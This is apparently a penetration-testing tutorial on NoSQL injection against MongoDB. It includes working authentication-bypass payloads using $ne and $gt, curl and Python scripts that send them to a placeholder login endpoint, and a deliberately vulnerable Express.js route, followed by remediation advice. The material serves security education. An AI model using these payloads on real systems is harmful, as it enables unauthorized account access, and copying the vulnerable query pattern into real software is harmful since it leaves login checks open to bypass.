Manually Testing for NoSQL Injection: A Deep Dive for Penetration Testers
NoSQL databases have become a popular alternative to traditional SQL systems due to their flexibility, scalability, and performance advantages. However, these benefits also come with unique security challenges. In this post from the “Learn Pentesting” series, we’ll explore the intricacies of NoSQL injection, examine vulnerable coding patterns, and walk through a manual testing methodology complete with code examples. This guide is intended for security professionals and penetration testers who want to deepen their understanding of NoSQL injection vulnerabilities and learn practical testing techniques.
Introduction
NoSQL injection is an attack vector where an adversary exploits insecure NoSQL queries to bypass authentication, retrieve sensitive data, or manipulate the backend database. Unlike SQL injection—which targets relational databases using SQL syntax—NoSQL injection leverages the dynamic and schema-less nature of NoSQL databases, often targeting document-oriented databases like MongoDB.
In many cases, NoSQL injection vulnerabilities arise from:
- Inadequate input validation.
- Overly permissive query constructions.
- Directly incorporating untrusted data into query objects.
This post will provide a comprehensive guide to manually testing for NoSQL injection vulnerabilities during web-application penetration tests.
What is NoSQL Injection?
NoSQL injection involves manipulating query parameters by inserting special operators that change the logic of a query. For example, MongoDB queries are based on JSON-like syntax, which makes it possible to inject query operators such as $ne
(not equal) or $gt
(greater than) if the application does not properly validate or sanitize input.
A Typical Scenario
Consider a login API endpoint that expects a JSON payload:
{
"username": "testuser",
"password": "password123"
}
A vulnerable implementation might directly use these values in a MongoDB query:
db.users.findOne({ username: req.body.username, password: req.body.password });
If an attacker submits a payload like:
{
"username": {"$ne": null},
"password": {"$ne": null}
}
the query becomes:
db.users.findOne({ username: {"$ne": null}, password: {"$ne": null} });
Since every record’s username and password are not null, the query may return a valid user record, bypassing authentication.
Common NoSQL Injection Vectors
While MongoDB is one of the most common targets, other NoSQL databases (such as CouchDB, Redis, or Cassandra) may also have injection vulnerabilities based on how queries are constructed and how parameters are parsed. In this post, we’ll focus on MongoDB-style injections, which illustrate many of the concepts applicable to other NoSQL systems.
Manual Testing Methodology
When testing for NoSQL injection, a systematic approach is critical. Follow these steps:
1. Identify Potential Injection Points
- Endpoints Receiving JSON Data: Look for login, search, or filter endpoints that accept JSON payloads.
- Parameters Passed Directly to the Database: Identify where input parameters are directly used in query constructions.
- Error Messages: Detailed error messages can sometimes reveal the underlying database and query structure.
2. Crafting Test Payloads
Start with simple payloads that manipulate the query structure. For example, to test a login endpoint:
JSON Payload Example:
{
"username": {"$ne": null},
"password": {"$ne": null}
}
This payload exploits the $ne
operator. If the endpoint is vulnerable, the application might incorrectly authenticate the user.
3. Sending Requests Manually
You can use tools like cURL or Postman to send your crafted JSON payloads.
Using cURL:
curl -X POST https://vulnerable-app.example.com/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": null}, "password": {"$ne": null}}'
Using Python and the requests
Library:
import requests
import json
url = "https://vulnerable-app.example.com/login"
headers = {'Content-Type': 'application/json'}
# Craft the injection payload
payload = {
"username": {"$ne": None},
"password": {"$ne": None}
}
response = requests.post(url, headers=headers, data=json.dumps(payload))
print("Response Status Code:", response.status_code)
print("Response Body:", response.text)
This Python example demonstrates how to programmatically send an injection payload and analyze the response.
4. Analyzing Responses
After sending the payload, carefully examine:
- HTTP Status Codes: A
200 OK
with an unexpected positive message might indicate bypass. - Response Body Content: Look for any indication that the authentication has been bypassed or that extra data is being returned.
- Error Messages or Stack Traces: These may reveal details about the query or database driver in use.
Example: Testing a Vulnerable Login Endpoint
Let’s walk through a detailed scenario.
Scenario Setup
Imagine a web application with a login form that consumes JSON payloads and uses the following Node.js code snippet:
// Vulnerable Express.js route
app.post('/login', (req, res) => {
// Directly using user input in the query object
db.users.findOne({ username: req.body.username, password: req.body.password }, (err, user) => {
if (err) return res.status(500).send('Server error');
if (user) {
res.status(200).send('Authenticated');
} else {
res.status(401).send('Invalid credentials');
}
});
});
Manual Testing Steps
Baseline Request: First, confirm the behavior with a normal login attempt:
{ "username": "knownuser", "password": "correctpassword" }
A proper response should be a successful authentication only for correct credentials.
Injection Attempt: Now, send the injection payload:
{ "username": {"$ne": null}, "password": {"$ne": null} }
If the endpoint returns a status
200 OK
with a message like “Authenticated” (or returns a valid user object), it indicates a potential injection vulnerability.Advanced Payloads: You can test with different operators or nested objects to see how the application behaves:
{ "username": {"$gt": ""}, "password": {"$gt": ""} }
This payload uses the
$gt
operator to bypass checks that might be checking for non-empty strings.
Observations
- Bypass Authentication: If any of these payloads bypass authentication, it confirms the application is directly incorporating untrusted input into database queries without proper sanitization.
- Error Details: Additional details in error messages can guide further testing or exploitation.
Advanced Testing Techniques
Nested Query Parameters
Some applications might accept nested JSON objects. Testing deeper levels of nesting can reveal vulnerabilities if the application flattens or improperly validates the JSON structure.
Example Payload:
{
"user": {
"credentials": {
"username": {"$ne": null},
"password": {"$ne": null}
}
}
}
Analyze how the backend handles nested objects.
Blind NoSQL Injection
If error messages are suppressed, you may need to rely on timing attacks or conditional responses to infer the presence of an injection vulnerability.
- Time-Based Attacks: Introduce a delay operator (if the database supports it) and observe response times.
- Conditional Responses: Alter the payload to test for true/false conditions and compare outputs.
Remediation Suggestions
For developers looking to mitigate NoSQL injection vulnerabilities:
- Input Validation: Rigorously validate and sanitize all incoming data. Use strict schemas where possible.
- Query Building: Avoid directly injecting user input into query objects. Instead, use parameterized queries or libraries that enforce proper data handling.
- Security Testing: Regularly include NoSQL injection tests in your penetration testing and code review processes.
Conclusion
NoSQL injection testing is an essential skill in the arsenal of a penetration tester. By understanding the unique nature of NoSQL databases and employing systematic testing methodologies, you can identify and mitigate vulnerabilities that might otherwise go unnoticed. Whether you’re testing for bypassing login mechanisms or extracting sensitive data, the key lies in crafting thoughtful payloads and carefully analyzing responses.
This technical deep-dive aimed to provide you with the necessary tools and techniques to manually test for NoSQL injection vulnerabilities during your penetration tests. Continue experimenting in controlled environments, and always ensure you have permission before testing any live systems.
Happy testing, and stay secure!